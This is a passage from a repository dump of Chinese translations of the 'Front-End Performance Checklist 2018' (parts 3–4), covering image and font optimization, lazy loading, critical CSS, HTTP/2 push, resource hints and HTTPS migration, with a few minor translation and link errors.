是渐进式的并且使用 [Adept](https://github.com/technopagan/adept-jpg-compressor)、 [mozJPEG](https://github.com/mozilla/mozjpeg) （通过操纵扫描级来改善开始渲染时间）或者 [Guetzli](https://github.com/google/guetzli) 压缩，谷歌新的开源编码器重点是能够感官的性能，并借鉴 Zopfli 和 WebP。唯一的 [不足](https://medium.com/@fox/talk-the-state-of-the-web-3e12f8e413b3) 是：处理的时间慢（每百万像素 CPU 一分钟）。至于 png，我们可以使用 [Pingo](http://css-ig.net/pingo)，和 [svgo](https://www.npmjs.com/package/svgo)，对于 SVG 的处理，我们使用 [SVGO](https://www.npmjs.com/package/svgo) 或 [SVGOMG](https://jakearchibald.github.io/svgomg/)\n\n每一个图像优化的文章会说明，但始终保持保持矢量资产清洁总是值得提醒的。确保清理未使用的资源，删除不必要的元数据，并减少图稿中的路径点数量（从而减少SVG代码）。（**感谢，Jeremy！**）\n\n到目前为止，这些优化只涵盖了基础知识。 Addy Osmani 已经发布了 [一个非常详细的基本图像优化指南](https://images.guide/)，深入到图像压缩和颜色管理的细节。 例如，您可以模糊图像中不必要的部分（通过对其应用高斯模糊滤镜）以减小文件大小，最终甚至可以开始移除颜色或将图像变成黑白色，以进一步缩小图像尺寸。 对于背景图像， 从Photoshop 导出的照片质量为 0 到 10％ 也是绝对可以接受的。\n\n那么 GIF 图片呢？我们可以使用 [循环的 HTML5 视频](https://bitsofco.de/optimising-gifs/)，而不是影响渲染性能和带宽的重度 GIF 动画，而使用循环的 HTML5 视频，[`<video>`](https://calendar.perfplanet.com/2017/animated-gif-without-the-gif/#-but-we-already-have-video-tags) 会使得 [浏览器的性能很慢](https://calendar.perfplanet.com/2017/animated-gif-without-the-gif/#-but-we-already-have-video-tags)，而且与图像不同的是，浏览器不会预先加载 `<video>` 内容。 至少我们可以使用 [Lossy GIF](https://kornel.ski/lossygif), [gifsicle](https://github.com/kohler/gifsicle) 或者 [giflossy](https://github.com/pornel/giflossy) 添加有损压缩 GIF。\n\n[好](https://developer.apple.com/safari/technology-preview/release-notes/) [消息](https://bugs.chromium.org/p/chromium/issues/detail?id=791658): 希望不久以后我们可以使用 `<img src=\".mp4\">` 来加载视频, 早期的测试表明 `img` 标签比同等大小的 GIF 显示的要 [快 20 多倍解析速度与要快 7 倍多](https://calendar.perfplanet.com/2017/animated-gif-without-the-gif/)。\n\n还不够好？那么，你也可以使用 [多种](http://csswizardry.com/2016/10/improving-perceived-performance-with-multiple-background-images/) [背景](https://jmperezperez.com/medium-image-progressive-loading-placeholder/) [图像](https://manu.ninja/dominant-colors-for-lazy-loading-images#tiny-thumbnails) [技术](https://css-tricks.com/the-blur-up-technique-for-loading-background-images/) 提高图像的感知性能。 记着，[减少对比度](https://css-tricks.com/contrast-swap-technique-improved-image-performance-css-filters/)  和模糊不必要的细节（或消除颜色）也可以减小文件的大小。 你需要放大一个小照片而不失真？考虑使用 [Letsenhance.io](https://letsenhance.io)\n\n![Zach Leatherman的字体加载策略综合指南](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/eb634666-55ab-4db3-aa40-4b146a859041/font-loading-strategies-opt.png)\n\nZach Leatherman 的 [字体加载策略综合指南](https://www.zachleat.com/web/comprehensive-webfonts/) 提供了十几种更好的网页字体发送选项\n\n25. **Web字体是否优化？**\n首先需要问一个问题，你是否能不使用 [UI 系统字体](https://www.smashingmagazine.com/2015/11/using-system-ui-fonts-practical-guide/)。 如果不可以，那么你有很大可能使用 Web 网络字体，会包含字形和额外的功能以及用不到的加粗。 如果您使用的是开源字体（例如，通过仅包含带有某些特殊的重音字形的拉丁语），则可以只选择部分 Web 字体来减少其文件大小。\n\n[WOFF2](http://caniuse.com/#search=woff2) 非常好，你可以使用 WOFF 和 OTF 作为不支持它的浏览器的备选。另外，从 Zach Leatherman 的《[字体加载策略综合指南](https://www.zachleat.com/web/comprehensive-webfonts/)》（代码片段也可以作为 [Web字体加载片段](https://github.com/zachleat/web-font-loading-recipes)）中选择一种策略，并使用服务器缓存持久地缓存字体。是不是感觉小有成就？Pixel Ambacht 有一个 [快速教程和案例研究](https://pixelambacht.nl/2016/font-awesome-fixed/)，让你的字体按顺序排列。\n\n如果你无法从你的服务器拿到字体并依赖于第三方主机，请确保使用 [字体加载事件](https://www.igvita.com/2014/01/31/optimizing-web-font-rendering-performance/#font-load-events)（或对不支持它的浏览器使用 [Web字体加载器](https://github.com/typekit/webfontloader)）[FOUT 要优于 FOIT](https://www.filamentgroup.com/lab/font-events.html); 立即开始渲染文本，并异步加载字体 —— 也可以使用 [loadCSS](https://github.com/filamentgroup/loadCSS)。 你也可以 [摆脱本地安装的操作系统字体](https://www.smashingmagazine.com/2015/11/using-system-ui-fonts-practical-guide/)，也可以使用 [可变的](https://alistapart.com/blog/post/variable-fonts-for-responsive-design) [字体](https://www.smashingmagazine.com/2017/09/new-font-technologies-improve-web/)。\n\n怎么才能是一个无漏洞的字体加载策略？ 从 `font-display` 开始，然后回到 Font Loading API，**然后**回到 Bram Stein 的 [Font Face Observer](https://github.com/bramstein/fontfaceobserver)（**感谢 Jeremy！**）如果你有兴趣从用户的角度来衡量字体加载的性能， Andreas Marschke 探索了 [使用 Font API 和 UserTiming API 进行性能跟踪](ttps://www.andreas-marschke.name/posts/2017/12/29/Fonts-API-UserTiming-Boomerang.html)\n\n此外，不要忘记包含 [`font-display：optional`](https://font-display.glitch.me/) 描述符来提供弹性和快速的字体回退，[`unicode-range`](https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2015/august/how-to-subset-fonts-with-unicode-range/) 将大字体分解成更小的语言特定的字体，以及Monica Dinculescu [的字体样式匹配器](https://meowni.ca/font-style-matcher/) 用来解决由于两种字体之间的大小差异，最大限度地减少了布局上的震动的问题。\n\n\n### 交付优化\n\n26. **你是否异步加载 JavaScript？**\n当用户请求页面时，浏览器获取 HTML 并构造 DOM，然后获取 CSS 并构造 CSSOM，然后通过匹配 DOM 和 CSSOM 生成一个渲染树。如果有任何的 JavaScript 需要解决，浏览器将不会开始渲染页面，直到 JavaScript 解决完毕，这样就会延迟渲染。 作为开发人员，我们必须明确告诉浏览器不要等待并立即开始渲染页面。 为脚本执行此操作的方法是使用 HTML 中的 `defer` 和 `async` 属性。\n\n事实证明，我们 [应该把 `defer` 改为 `async`](http://calendar.perfplanet.com/2016/prefer-defer-over-async/)（因为 ie9 及以下不支持 async）。 另外，如上所述，限制第三方库和脚本的影响，特别是使用社交共享按钮和嵌入的 `<iframe>` 嵌入（如地图）。 [大小限制](https://github.com/ai/size-limit) 有助于防止 JavaScript 库过大：如果您不小心添加了大量依赖项，该工具将通知你并抛出错误。 您可以使用 [静态社交分享按钮](https://www.savjee.be/2015/01/Creating-static-social-share-buttons/)（如通过 [SSBG](https://simplesharingbuttons.com) ）和 [静态链接](https://developers.google.com/maps/documentation/static-maps/intro) 来代替交互式地图。\n\n27. **你是否懒加载了开销很大并使用 Intersection Observer 的代码？**\n如果您需要延迟加载图片、视频、广告脚本、A/B 测试脚本或任何其他资源，则可以使用 [Intersection Observer API](https://developer.mozilla.org/en-US/docs/Web/API/Intersection_Observer_API)，它提供了一种方法异步观察目标元素与 祖先元素或顶层文档的视口。基本上，你需要创建一个新的 IntersectionObserver 对象，它接收一个回调函数和一组选项。 然后我们添加一个目标来观察。\n\n当目标变得可见或不可见时执行回调函数，所以当它拦截视口时，可以在元素变得可见之前开始采取一些行动。 事实上，我们可以精确地控制观察者的回调何时被调用，使用 `rootMargin`（根边缘）和 `threshold`（一个数字或者一个数字数组来表示目标可见度的百分比， 瞄准）。Alejandro Garcia Anglada 发表了一个 [简单的教程](https://medium.com/@aganglada/intersection-observer-in-action-efc118062366) 关于如何实际实施的方便教程。\n\n你甚至可以通过向你的网页添加 [渐进式图片加载](https://calendar.perfplanet.com/2017/progressive-image-loading-using-intersection-observer-and-sqip/) 来将其提升到新的水平。 与 Facebook，Pinterest 和 Medium 类似，你可以首先加载低质量或模糊的图像，然后在页面继续加载时，使用 Guy Podjarny 提出的 [LQIP (Low Quality Image Placeholders) technique](https://www.guypo.com/introducing-lqip-low-quality-image-placeholders/)（低质量图像占位符）技术替换它们的全部质量版本。\n\n如果技术提高了用户体验，观点就不一样了，但它肯定会提高第一次有意义的绘画的时间。我们甚至可以通过使用 [SQIP](https://github.com/technopagan/sqip) 创建图像的低质量版本作为 SVG 占位符来实现自动化。 这些占位符可以嵌入 HTML 中，因为它们自然可以用文本压缩方法压缩。 Dean Hume 在他的文章中 [描述了](https://calendar.perfplanet.com/2017/progressive-image-loading-using-intersection-observer-and-sqip/) 如何使用相交观测器来实现这种技术。\n\n浏览器支持成都如何呢？[Decent](https://caniuse.com/#feat=intersectionobserver)，与 Chrome，火狐，Edge 和 Samsung Internet 已经支持了。 WebKit 目前 [正在开发中](https://webkit.org/status/#specification-intersection-observer)。如果浏览器不支持呢？ 如果不支持交叉点观察者，我们仍然可以 [延迟加载](https://medium.com/@aganglada/intersection-observer-in-action-efc118062366) 一个 [polyfill](https://github.com/jeremenichelli/intersection-observer-polyfill) 或立即加载图像。甚至还有一个 [library](https://github.com/ApoorvSaxena/lozad.js)。\n\n通常，我们会使用懒加载来处理所有代价较大的组件，如 字体，JavaScript，轮播，视频和 iframe。 你甚至可以根据网络质量调整内容服务。[网络信息 API](https://googlechrome.github.io/samples/network-information/)，特别是 `navigator.connection.effectiveType`（Chrome 62+）使用 RTT 和下行链路值来更准确地表示连接和用户可以处理的数据。 您可以使用它来完全删除视频自动播放，背景图片或 Web 字体，以便连接速度太慢。\n\n28. **你是否优先加载关键的 CSS？**\n为确保浏览器尽快开始渲染页面，[通常](https://www.smashingmagazine.com/2015/08/understanding-critical-css/) 会收集开始渲染页面的第一个可见部分所需的所有 CSS（称为 “关键CSS” 或 “上一层CSS”）并将其内联添加到页面的 `<head>` 中，从而减少往返。 由于在慢启动阶段交换包的大小有限，所以关键 CSS 的预算大约是 14 KB。\n\n如果超出这个范围，浏览器将需要额外往返取得更多样式。  [CriticalCSS](https://github.com/filamentgroup/criticalCSS) 和 [Critical](https://github.com/addyosmani/critical) 可以做到这一点。 你可能需要为你使用的每个模板执行此操作。 如果可能的话，考虑使用 Filament Group 使用的 [条件内联方法](https://www.filamentgroup.com/lab/modernizing-delivery.html)。\n\n使用 HTTP/2，关键 CSS 可以存储在一个单独的 CSS 文件中，并通过 [服务器推送](https://www.filamentgroup.com/lab/modernizing-delivery.html) 来传递，而不会增大 HTML 的大小。 问题在于，服务器推送是很 [麻烦](https://twitter.com/jaffathecake/status/867699157150117888)，因为浏览器中存在许多问题和竞争条件。 它一直不被支持，并有一些缓存问题（参见 [Hooman Beheshti介绍的文章]([Hooman Beheshti's presentation](http://www.slideshare.net/Fastly/http2-what-no-one-is-telling-you)) 114 页内容）。事实上，这种影响可能是 [负面的](https://jakearchibald.com/2017/h2-push-tougher-than-i-thought/)，会使网络缓冲区膨胀，从而阻止文档中的真实帧被传送。 而且，由于 TCP 启动缓慢，似乎服务器推送在热连接上 [更加有效](https://docs.google.com/document/d/1K0NykTXBbbbTlv60t5MyJvXjqKGsCVNYHyLEXIxYMv0/edit)。\n\n即使使用 HTTP/1，将关键 CSS 放在根目录上的单独文件中也是有 [好处的](http://www.jonathanklein.net/2014/02/revisiting-cookieless-domain.html)，有时甚至比缓存和内联更为有效。 Chrome 请求这个页面的时候会再发送一个 HTTP 连接到根目录，从而不需要 TCP 连接来获取这个 CSS（**感谢 Philip！**）\n\n需要注意的一点是：和 `preload` 不同的是，`preload` 可以触发来自任何域的预加载，而你只能从你自己的域或你所授权的域中推送资源。 一旦服务器得到来自客户端的第一个请求，就可以启动它。 服务器将资源压入 Push 缓存，并在连接终止时被删除。 但是，由于可以在多个选项卡之间重复使用 HTTP/2 连接，所以推送的资源也可以被来自其他选项卡的请求声明（**感谢 Inian！**）。\n\n目前，服务器并没有一个简答的方法得知被推送的资源 [是否已经存在于用户的缓存中](https://blog.yoav.ws/tale-of-four-caches/)，因此每个用户的访问都会继续推送资源。因此，您可能需要创建一个 [缓存监测 HTTP/2 服务器推送机制](https://css-tricks.com/cache-aware-server-push/)。如果被提取，您可以尝试从缓存中获取它们，这样可以避免再次推送。\n\n但请记住，[新的 `cache-digest` 规范](http://calendar.perfplanet.com/2016/cache-digests-http2-server-push/) 无需手动建立这样的 “缓存感知” 的服务器，基本上在 HTTP/2 中声明的一个新的帧类型就可以表达该主机的内容。因此，它对于 CDN 也是特别有用的。\n\n对于动态内容，当服务器需要一些时间来生成响应时，浏览器无法发出任何请求，因为它不知道页面可能引用的任何子资源。 在这种情况下，我们可以预热连接并增加 TCP 拥塞窗口大小，以便将来的请求可以更快地完成。 而且，所有内联配置对于服务器推送都是较好的选择。事实上，Inian Parameshwaran 对 [HTTP/2 Push 和 HTTP Preload 进行了比较 深入的研究](https://dexecure.com/blog/http2-push-vs-http-preload/)，内容很不错，其中包含了您可能需要的所有细节。服务器到底是推送还是不推送呢？你可以阅读一下 Colin Bendell 的  [Should I Push?](https://shouldipush.com/)。\n\n底线：正如 Sam Saccone [所说](https://medium.com/@samccone/performance-futures-bundling-281543d9a0d5)，`preload` 有利于将资产的开始下载时间更接近初始请求， 而服务器推送是一个完整的 RTT（或 [更多](https://blog.yoav.ws/being_pushy/)，这取决于您的服务器反应时间 —— 如果你有一个服务器可以防止不必要的推送。\n\n<figure class=\"video-container break-out\"><iframe data-src=\"https://www.youtube.com/embed/Cjo9iq8k-bc\" width=\"600\" height=\"480\" frameborder=\"0\" webkitallowfullscreen=\"\" mozallowfullscreen=\"\" allowfullscreen=\"\"></iframe>\n\n你使用 [流响应](https://jakearchibald.com/2016/streams-ftw/) 吗？通过流，在初始导航请求中呈现的 HTML 可以充分利用浏览器的流式 HTML 解析器。\n\n29. **你使用流响应吗?**\n[streams](https://streams.spec.whatwg.org/) 经常被遗忘和忽略，它提供了异步读取或写入数据块的接口，在任何给定的时间内，只有一部分数据可能在内存中可用。 基本上，只要第一个数据块可用，它们就允许原始请求的页面开始处理响应，并使用针对流进行优化的解析器逐步显示内容。\n\n我们可以从多个来源创建一个流。例如，您可以让服务器构建一个壳子来自于缓存，内容来自网络的流，而不是提供一个空的 UI 外壳并让它填充它。 正如 Jeff Posnick [指出](https://developers.google.com/web/updates/2016/06/sw-readablestreams)的，如果您的 web 应用程序由 CMS 提供支持的，那么服务器渲染 HTML 是通过将部分模板拼接在一起来呈现的，该模型将直接转换为使用流式响应，而模板逻辑将从服务器复制而不是你的服务器。Jake Archibald 的 [The Year of Web Streams](https://jakearchibald.com/2016/streams-ftw/) 文章重点介绍了如何构建它。对于性能的提升是非常明显的。\n\n流式传输整个 HTML 响应的一个重要优点是，在初始导航请求期间呈现的 HTML 可以充分利用浏览器的流式 HTML 解析器。 在页面加载之后插入到文档中的 HTML 块（与通过 JavaScript 填充的内容一样常见）无法利用此优化。\n\n浏览器支持程度如何呢? [详情请看这里](https://caniuse.com/#search=streams) Chrome 52+、Firefox 57、Safari 和 Edge 支持此 API 并且服务器已经支持所有的 [现代浏览器](https://caniuse.com/#search=serviceworker).\n\n30. **你使用 `Save-Data` 存储数据吗**?\n特别是在新兴市场工作时，你可能需要考虑优化用户选择节省数据的体验。 [Save-Data 客户端提示请求头](https://developers.google.com/web/updates/2016/02/save-data) 允许我们和定制为成本和性能受限的用户定制应用程序和有效载荷。 实际上，您可以将 [高 DPI 图像的请求重写为低 DPI 图像](https://css-tricks.com/help-users-save-data/)，删除网页字体和花哨的特效，关闭视频自动播放，服务器推送，甚至更改提供标记的方式。\n\n该头部目前仅支持 Chromium，Android 版 Chrome 或 桌面设备上的 Data Saver 扩展。最后，你还可以使用 service worker 和 Network Information API 来提供基于网络类型的低/高分辨率的图像。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/front-end-performance-checklist-2018-4.md",
    "content": "> * 原文地址：[Front-End Performance Checklist 2018 - Part 4](https://www.smashingmagazine.com/2018/01/front-end-performance-checklist-2018-pdf-pages/)\n> * 原文作者：[Vitaly Friedman](https://www.smashingmagazine.com/author/vitaly-friedman)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/front-end-performance-checklist-2018-4.md](https://github.com/xitu/gold-miner/blob/master/TODO/front-end-performance-checklist-2018-4.md)\n> * 译者：[ParadeTo](https://github.com/ParadeTo)\n> * 校对者：[MechanicianW](https://github.com/MechanicianW), [PCAaron](https://github.com/PCAaron)\n\n# 2018 前端性能优化清单 - 第 4 部分\n\n下面是前端性能问题的概述，您可能需要考虑以确保您的响应时间是快速和平滑的。\n\n\n- [2018 前端性能优化清单 - 第 1 部分](https://github.com/xitu/gold-miner/blob/master/TODO/front-end-performance-checklist-2018-1.md)\n- [2018 前端性能优化清单 - 第 2 部分](https://github.com/xitu/gold-miner/blob/master/TODO/front-end-performance-checklist-2018-2.md)\n- [2018 前端性能优化清单 - 第 3 部分](https://github.com/xitu/gold-miner/blob/master/TODO/front-end-performance-checklist-2018-3.md)\n- [2018 前端性能优化清单 - 第 4 部分](https://github.com/xitu/gold-miner/blob/master/TODO/front-end-performance-checklist-2018-4.md)\n\n***\n\n31. **你是否激活了连接以加快传输？**\n\n使用 [资源提示](https://w3c.github.io/resource-hints) 来节约时间，如 [`dns-prefetch`](http://caniuse.com/#search=dns-prefetch) （在后台执行 DNS 查询），[`preconnect`](http://www.caniuse.com/#search=preconnect) （告诉浏览器在后台进行连接握手（DNS, TCP, TLS）），[`prefetch`](http://caniuse.com/#search=prefetch) (告诉浏览器请求一个资源) and [`preload`](https://www.smashingmagazine.com/2016/02/preload-what-is-it-good-for/) (预先获取资源而不执行他们)。\n\n大部分时间，我们至少会使用 `preconnect` 和 `dns-prefetch`，我们会小心使用 `prefetch` 和 `preload`；前者只能在你非常确定用户后续需要什么资源的情况下使用（类似于采购渠道）。注意，`prerender` 已被弃用，不再被支持。\n\nNote that even with `preconnect` and `dns-prefetch`, the browser has a limit on the number of hosts it will look up/connect to in parallel, so it's a safe bet to order them based on priority (**thanks Philip!**).\n\n请注意，即使使用 `preconnect` 和 `dns-prefetch`，浏览器也会对它将并行查找或连接的主机数量进行限制，因此最好是将它们根据优先级进行排序（**感谢 Philip！**）。\n\n事实上，使用资源提示可能是最简单的提高性能的方法，[它确实很有效](https://medium.com/reloading/preload-prefetch-and-priorities-in-chrome-776165961bbf)。什么时候该使用什么？Addy Osmani [已经做了解释](https://medium.com/reloading/preload-prefetch-and-priorities-in-chrome-776165961bbf)，我们应该预加载确定将在当前页面中使用的资源。预获取可能用于未来页面的资源，例如用户尚未访问的页面所需的 Webpack 包。\n\nAddy 的关于 Chrome 中加载优先级的文章[展示了](https://medium.com/reloading/preload-prefetch-and-priorities-in-chrome-776165961bbf) Chrome 是如何精确地解析资源提示的，因此一旦你决定哪些资源对页面渲染比较重要，你就可以给它们赋予比较高的优先级。你可以在 Chrome DevTools 网络请求表格（或者 Safari Technology Preview）中启动“priority”列来查看你的请求的优先级。\n\n![the priority column in DevTools](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/34f6f27f-88a9-425a-910e-39100034def3/devtools-priority-segixq.gif)\n\nDevTools 中的 \"Priority\" 列。图片来源于：Ben Schwarz，[重要的请求](https://css-tricks.com/the-critical-request/)\n\n例如，由于字体通常是页面上的重要资源，所以使用 [`preload`](https://css-tricks.com/the-critical-request/#article-header-id-2) [请求浏览器下载字体](https://css-tricks.com/the-critical-request/#article-header-id-2)总是一个好主意。你也可以[动态加载 JavaScript ](https://www.smashingmagazine.com/2016/02/preload-what-is-it-good-for/#dynamic-loading-without-execution)，从而有效的执行延迟加载。同样的，因为 `<link rel=\"preload\">` 接收一个 `media` 的属性，你可以基于 `@media` 查询规则来有选择性地优先加载资源。\n\n一些[必须牢记于心](https://dexecure.com/blog/http2-push-vs-http-preload/)的陷阱：preload 适用于[将资源的下载时间移到请求开始时](https://www.youtube.com/watch?v=RWLzUnESylc)，但是这些缓存在内存中的预先加载的资源是绑定在所发送请求的页面上，也就意味着预先加载的请求不能被页面所共享。再者，`preload` 与 HTTP 缓存配合得也很好：如果缓存命中则不会发送网络请求。\n\n因此，它对后发现的资源也非常有用，如：通过 background-image 加载的一幅 hero image，内联关键 CSS （或 JavaScript），并预先加载其他 CSS （或 JavaScript）。此外，只有当浏览器从服务器接收 HTML，并且前面的解析器找到了 `preload` 标签后，`preload` 标签才可以启动预加载。由于我们不等待浏览器解析 HTML 以启动请求，所以通过 HTTP 头进行预加载要快一些。[早期提示](https://tools.ietf.org/html/draft-ietf-httpbis-early-hints-05)将有助于进一步，在发送 HTML 响应标头之前启动预加载。\n\n请注意：如果你正在使用 `preload`，`as` **必须**定义否则[什么都不会加载](https://twitter.com/yoavweiss/status/873077451143774209)，还有，[预加载字体时如果没有 `crossorigin` 属性将会获取两次](https://medium.com/reloading/preload-prefetch-and-priorities-in-chrome-776165961bbf)\n\n32. **你优化渲染性能了吗？**\n\n使用 [CSS containment](http://caniuse.com/#search=contain) 隔离昂贵的组件 - 例如，限制浏览器样式、隐藏导航栏的布局和绘制，第三方组件的范围。确保在滚动页面时没有延迟，或者当一个元素进行动画时，持续地达到每秒 60 帧。如果这是不可能的，那么至少要使每秒帧数持续保持在 60 到 15 的范围。使用 CSS 的 [`will-change`](http://caniuse.com/#feat=will-change) 通知浏览器哪个元素的哪个属性将要发生变化。\n\n此外，评估[运行时渲染性能](https://aerotwist.com/blog/my-performance-audit-workflow/#runtime-performance)（例如，[使用 DevTools](https://developers.google.com/web/tools/chrome-devtools/rendering-tools/)）。可以通过学习 Paul Lewis 免费的[关于浏览器渲染优化的 Udacity 课程](https://www.udacity.com/course/browser-rendering-optimization--ud860)和 Emily Hayman 的文章[优化网页动画和交互](https://blog.algolia.com/performant-web-animations/)来入门。\n\n同样，我们有 Sergey Chikuyonok 这篇文章关于如何[正确使用 GPU 动画](https://www.smashingmagazine.com/2016/12/gpu-animation-doing-it-right/)。注意：对 GPU-composited 层的更改是[代价最小的](https://blog.algolia.com/performant-web-animations/)，如果你能通过“不透明”和“变形”来触发合成，那么你就是在正确的道路上。\n\n33. **你优化过渲染体验吗？**\n\n组件以何种顺序显示在页面上以及我们如何给浏览器提供资源固然重要，但是我们同样也不能低估了[感知性能](https://www.smashingmagazine.com/2015/09/why-performance-matters-the-perception-of-time/)的角色。这一概念涉及到等待的心理学，主要是让顾客在其他事情发生时保持忙碌。这就涉及到了[感知管理](https://www.smashingmagazine.com/2015/11/why-performance-matters-part-2-perception-management/)，[优先开始](https://www.smashingmagazine.com/2015/11/why-performance-matters-part-2-perception-management/#preemptive-start)，[提前完成](https://www.smashingmagazine.com/2015/11/why-performance-matters-part-2-perception-management/#early-completion)和[宽容管理](https://www.smashingmagazine.com/2015/12/performance-matters-part-3-tolerance-management/)。\n\n这一切意味着什么？在加载资源时，我们可以尝试始终领先于客户一步，所以将很多处理放置到后台，相应会很迅速。让客户参与进来，我们可以用[骨架屏幕](https://twitter.com/lukew/status/665288063195594752)（[实例演示](https://twitter.com/razvancaliman/status/734088764960690176)），而不是当没有更多优化可做时、用加载指示，添加一些动画/过渡[欺骗用户体验](https://blog.stephaniewalter.fr/en/cheating-ux-perceived-performance-and-user-experience/)。\n\n### HTTP/2\n\n34. **迁移到 HTTPS，然后打开 HTTP/2.**\n\n在谷歌提出[向更安全的网页进军](https://security.googleblog.com/2016/09/moving-towards-more-secure-web.html)以及认为 Chrome 中所有的 HTTP 网页都是“不安全”的后，迁移到[HTTP/2]((https://http2.github.io/faq/)是不可避免的。HTTP/2[支持得非常好]it isn't going anywhere; and, in most cases, you're better off with it.（不知道啥意思，求助）。一旦运行在 HTTPS 上，你至少能够在 service workers 和 server push 方面获得[显著的性能提升](https://www.youtube.com/watch?v=RWLzUnESylc&t=1s&list=PLNYkxOF6rcIBTs2KPy1E6tIYaWoFcG3uj&index=25)。\n\n![HTTP/2](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/30dd1821-9800-4f01-91a8-1375d4812144/http-pages-chrome-opt.png)\n\n最终，谷歌计划将所有 HTTP 页面标记为不安全的，并将有问题的 HTTPS 的 HTTP 安全指示器更改为红色三角形。（[图片来源](https://security.googleblog.com/2016/09/moving-towards-more-secure-web.html)）\n\n最耗时的任务将是[迁移到 HTTPS](https://https.cio.gov/faq/)，取决于你的 HTTP/1.1 用户基础有多大（即使用旧版操作系统或浏览器的用户），你将不得不为旧版的浏览器性能优化发送不同的构建版本，这需要你采用[不同的构建流程](https://rmurphey.com/blog/2015/11/25/building-for-http2)。注意：开始迁移和新的构建过程可能会很棘手，而且耗费时间。对于本文的其余部分，我假设您将要么切换到 HTTP/2，要么已经切换到 HTTP/2。\n\n35. **正确地部署 HTTP/2.**\n\n再次，[通过 HTTP/2 提供资源](https://www.youtube.com/watch?v=yURLTwZ3ehk)需要对现阶段正如何提供资源服务进行局部检查。您需要在打包模块和并行加载多个小模块之间找到一个良好的平衡。最终，仍然是[最好的请求就是没有请求](http://alistapart.com/article/the-best-request-is-no-request-revisited)，然而我们的目标是在快速传输资源和缓存之间找到一个好的平衡点。\n\n一方面，你可能想要避免合并所有资源，而不是把整个界面分解成许多小模块，压缩他们（作为构建过程的一部分），通过[“侦察”的方法](https://rmurphey.com/blog/2015/11/25/building-for-http2)引用和并行加载它们。一个文件的更改不需要重新下载整个样式表或 JavaScript。这样还可以[最小化解析时间](https://css- s.com/musings-on-http2-and-bundling/)，并将单个页面的负荷保持在较低的水平。\n\n另一方面，[打包仍然很重要](http://engineering.khanacademy.org/posts/js-packaging-http2.htm)。首先，**压缩将获益**。大包的压缩将从字典重用中获益，而小的单独的包则不会。有标准的工作来解决这个问题，但现在还远远不够。其次，浏览器还**没有为这种工作流优化**。例如，Chrome 将触发[进程间通信](https://www.chromium.org/developers/design-documents/inter-process-communication)（IPCs），与资源的数量成线性关系，因此页面中如果包含数以百计的资源将会造成浏览器性能损失。\n\n![Progressive CSS loading](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/24d7fcb0-40c3-4ada-abb3-22b8524f9b2d/progressive-css-loading-opt.png)\n\n为了获得使用 HTTP/2 最好的效果，可以考虑使用[渐进地加载 CSS](https://jakearchibald.com/2016/link-in-body/)，正如 Chrome 的 Jake Archibald 所推荐的。\n\n你可以尝试[渐进地加载 CSS](https://jakearchibald.com/2016/link-in-body/)。显然，通过这样做，您会伤害 HTTP/1.1 用户，因此您可能需要为不同的浏览器生成和提供不同的构建流程，作为部署过程的一部分，这是事情变得稍微复杂的地方。你可以使用 [HTTP/2 连接合并](https://daniel.haxx.se/blog/2016/08/18/http2-connection-coalescing/)，它允许您使用 HTTP/2 提供的域分片，但在实践中实现这一目标是很困难的。\n\n怎么做呢？如果你运行在 HTTP/2 之上，发送 **6-10 个包**是个理想的折中（对旧版浏览器也不会太差）。对于你自己的网站，你可以通过实验和测量来找到最佳的折中。\n\n36. **你的服务和 CDNs 支持 HTTP/2 吗？**\n\n不同的服务和 CDNs 可能对 HTTP/2 的支持情况不一样。使用[TLS 够快了吗？](https://istlsfastyet.com)来查看你的可选服务，或者快速的查看你的服务的性能以及你想要其支持的特性。\n\n![Is TLS Fast Yet?](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/f12ff2f5-9349-46a1-9c51-7a05dc906322/istlsfastyet-opt.png)\n\n[Is TLS Fast Yet?](https://istlsfastyet.com) allows you to check your options for servers and CDNs when switching to HTTP/2.\n\n当你想迁移到 HTTP/2 时 [TLS 够快了吗？](https://istlsfastyet.com)可以让你查看你的可选服务和 CDNs。\n\n37. **是否启动了 OCSP stapling？**\n\n通过[在你的服务上启动 OCSP stapling](https://www.digicert.com/enabling-ocsp-stapling.htm)，你可以加速 TLS 握手。在线证书状态协议（OCSP）的提出是为了替代证书注销列表（CRL）协议。两个协议都是用于检查一个 SSL 证书是否已被撤回。但是，OCSP 协议不需要浏览器花时间下载然后在列表中搜索认证信息，因此减少了握手时间。\n\n38. **你是否已采用了 IPv6？**\n\n因为[ IPv4 即将用完](https://en.wikipedia.org/wiki/IPv4_address_exhaustion)以及主要的移动网络正在迅速采用 IPv6（美国已经[达到](https://www.google.com/intl/en/ipv6/statistics.html#tab=ipv6-adoption&tab=ipv6-adoption)50% 的 IPv6 使用阈值），[将你的 DNS 更新到 IPv6]((https://www.paessler.com/blog/2016/04/08/monitoring-news/ask-the-expert-current-status-on-ipv6) 